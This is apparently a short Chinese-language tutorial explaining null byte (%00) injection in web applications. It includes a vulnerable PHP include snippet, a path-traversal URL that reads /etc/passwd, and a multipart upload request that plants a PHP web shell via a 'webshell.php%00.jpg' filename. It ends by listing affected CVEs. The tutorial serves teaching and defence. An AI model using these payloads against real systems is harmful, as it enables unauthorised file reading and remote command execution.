%00
Null byte Injection是一種將Null Byte(如%00或0x00)注入到某個input中,來bypass一些Security Control/Filter的一種手法,這種攻擊可以改變Web Application原本的行為和邏輯,這可能導致一些原本不起作用的攻擊變得可以實行,甚至造成任意檔案上傳/RCE等。
例如,有一個網站提供一個圖片下載(觀看)的功能,並限制只能瀏覽jpg檔
image.php
<?php
$fname = $_REQUEST['file'];
require_once('/var/www/'.$fname.'.jpg');
...
這時候攻擊者可以利用Null Byte來截斷後面的內容(因為Null Byte常被用來當作字串的結尾),使原本的應用程式行為被改變。
http://example.com/upload.php?file=../../../../etc/passwd%00
這時候應用程式原本應該要讀取../../../../etc/passwd%00.jpg
,但因為遇到%00,應用程式認為已經到字串的結尾因此中斷變成只拿到../../../../etc/passwd
,而將系統的/etc/passwd印出在網頁上。
剛剛介紹的是LFI/RFI的利用手法,那上傳呢?
重複上面的例子,但將他變成上傳照片的功能,也使用白名單機制
攻擊者可以構建一個這樣的Request:
POST /upload.php HTTP/1.1
Host: example.com
...
----------------
Content-Disposition: form-data,file=webshell.php%00.jpg
Content-Type: image/jpeg
<?php
echo system($_REQUEST['cmd']);
?>
----------------
就可以成功上傳web shell了。當然不只PHP會有這種問題,像是Perl,Java等等也都有可能發生。
這次的Case Study沒有甚麼特別需要描述的,因為都是允許%00
或\0
等等Null Byte放在input後端,不一樣的是造成的危害不太一樣,從LFI、Source code disclosure到bypass detection等,一些其他的RCE通常跟隨Web Application的功能而定。下面列出一些曾受影響的Case
Source code disclosure
Bypass detection
XSS Protect Bypass
CVE-2005-3153
PHP Regex Bypass
CVE-2004-0189
Bypass ACL Regex